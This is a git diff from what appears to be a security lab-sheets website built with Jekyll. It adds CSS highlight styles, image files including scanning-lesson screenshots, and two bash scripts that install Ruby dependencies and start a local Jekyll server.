background: linear-gradient(135deg, #2d1b69 0%, #4a148c 100%);
|
||||
border-color: plum;
|
||||
border-left-color: #ea75ff;
|
||||
color: #f3e5f5;
|
||||
box-shadow: 0 4px 12px rgba(80, 56, 131, 0.3);
|
||||
}
|
||||
|
||||
[data-theme="dark"] .flag-item h1,
|
||||
[data-theme="dark"] .flag-item h2,
|
||||
[data-theme="dark"] .flag-item h3,
|
||||
[data-theme="dark"] .flag-item h4,
|
||||
[data-theme="dark"] .flag-item h5,
|
||||
[data-theme="dark"] .flag-item h6 {
|
||||
color: #f3e5f5;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .flag-item::after {
|
||||
border-top-color: #9c27b0;
|
||||
}
|
||||
|
||||
// Inline action styling
|
||||
.action-text {
|
||||
background-color: var(--primary-btnbg-color);
|
||||
@@ -1160,6 +1346,40 @@ mark, .highlight-text{
|
||||
border-left-color: #29b6f6;
|
||||
}
|
||||
|
||||
.question-highlight {
|
||||
background-color: #e0f2f1;
|
||||
color: #00695c;
|
||||
padding: 0.2rem 0.4rem;
|
||||
border-radius: 4px;
|
||||
border-left: 3px solid #009688;
|
||||
font-weight: 500;
|
||||
display: inline-block;
|
||||
margin: 0.1rem 0;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .question-highlight {
|
||||
background-color: #004d40;
|
||||
color: #4db6ac;
|
||||
border-left-color: #26a69a;
|
||||
}
|
||||
|
||||
.edit-highlight {
|
||||
background-color: #fff3cd;
|
||||
color: #856404;
|
||||
padding: 0.2rem 0.4rem;
|
||||
border-radius: 4px;
|
||||
border-left: 3px solid #ffc107;
|
||||
font-weight: 500;
|
||||
display: inline-block;
|
||||
margin: 0.1rem 0;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .edit-highlight {
|
||||
background-color: #664d03;
|
||||
color: #ffda6a;
|
||||
border-left-color: #ffc107;
|
||||
}
|
||||
|
||||
.language-bash {
|
||||
font-family: "Source Code Pro", Monaco, monospace !important;
|
||||
// background-color: #f0ad4e;
|
||||
@@ -1190,4 +1410,5 @@ mark, .highlight-text{
|
||||
.nav-link:hover {
|
||||
color: var(--primary-btnhov-color);
|
||||
text-decoration: none;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BIN
assets/images/common/vm_launch_icon.png
Normal file
BIN
assets/images/common/vm_launch_icon.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 45 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 150 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 52 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 71 KiB |
BIN
assets/images/introducing_attacks/5_scanning/tcp_handshake.png
Normal file
BIN
assets/images/introducing_attacks/5_scanning/tcp_handshake.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 46 KiB |
BIN
assets/images/introducing_attacks/5_scanning/zenmap.png
Normal file
BIN
assets/images/introducing_attacks/5_scanning/zenmap.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 104 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 49 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 10 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 42 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 100 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 109 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 29 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 159 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 86 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 261 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 66 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 72 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 137 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 75 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
38
start-server-github-pages.sh
Executable file
38
start-server-github-pages.sh
Executable file
@@ -0,0 +1,38 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo "🚀 Starting Hacktivity Lab Sheets server (GitHub Pages compatible)..."
|
||||
|
||||
# Change to project directory
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# Install bundler locally if not available
|
||||
if ! command -v bundle &> /dev/null; then
|
||||
echo "📦 Installing bundler locally..."
|
||||
gem install --user-install bundler
|
||||
export PATH="$HOME/.local/share/gem/ruby/3.2.0/bin:$PATH"
|
||||
fi
|
||||
|
||||
# Install dependencies
|
||||
echo "📦 Installing dependencies..."
|
||||
bundle install --path vendor/bundle
|
||||
|
||||
# Check if installation was successful
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "❌ Failed to install dependencies. Trying alternative approach..."
|
||||
|
||||
# Try using system gems with local bundler
|
||||
export GEM_HOME="$HOME/.local/share/gem/ruby/3.2.0"
|
||||
export GEM_PATH="$HOME/.local/share/gem/ruby/3.2.0"
|
||||
export PATH="$HOME/.local/share/gem/ruby/3.2.0/bin:$PATH"
|
||||
|
||||
bundle install --path vendor/bundle
|
||||
fi
|
||||
|
||||
echo "🌐 Starting Jekyll server..."
|
||||
echo "📱 Site will be available at: http://localhost:4000"
|
||||
echo "🌐 Also available at: http://0.0.0.0:4000"
|
||||
echo "🛑 Press Ctrl+C to stop the server"
|
||||
echo ""
|
||||
|
||||
# Start the server with local configuration
|
||||
bundle exec jekyll serve --host 0.0.0.0 --port 4000 --livereload --config _config_local.yml
|
||||
33
start-server.sh
Normal file
33
start-server.sh
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Start Jekyll server script for Hacktivity Lab Sheets
|
||||
# This script sets up the proper environment and starts the Jekyll server
|
||||
|
||||
echo "🚀 Starting Hacktivity Lab Sheets server..."
|
||||
|
||||
# Change to project directory
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# Check if vendor directory exists
|
||||
if [ ! -d "vendor/bundle" ]; then
|
||||
echo "❌ Vendor directory not found. Please run bundle install first."
|
||||
echo " Try running: ./test-jekyll.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check if Jekyll executable exists
|
||||
if [ ! -f "vendor/bundle/ruby/3.2.0/bin/jekyll" ]; then
|
||||
echo "❌ Jekyll executable not found in vendor directory."
|
||||
echo " Try running: ./test-jekyll.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "✅ Environment set up successfully"
|
||||
echo "📱 Starting Jekyll server..."
|
||||
echo "🌐 Site will be available at: http://localhost:4000"
|
||||
echo "🌐 Also available at: http://0.0.0.0:4000"
|
||||
echo "🛑 Press Ctrl+C to stop the server"
|
||||
echo ""
|
||||
|
||||
# Use the vendor bundle with proper Ruby environment
|
||||
exec env GEM_HOME="$(pwd)/vendor/bundle" GEM_PATH="$(pwd)/vendor/bundle" PATH="$(pwd)/vendor/bundle/ruby/3.2.0/bin:$PATH" vendor/bundle/ruby/3.2.0/bin/jekyll serve --host 0.0.0.0 --port 4000 --livereload
|
||||
Reference in New Issue
Block a user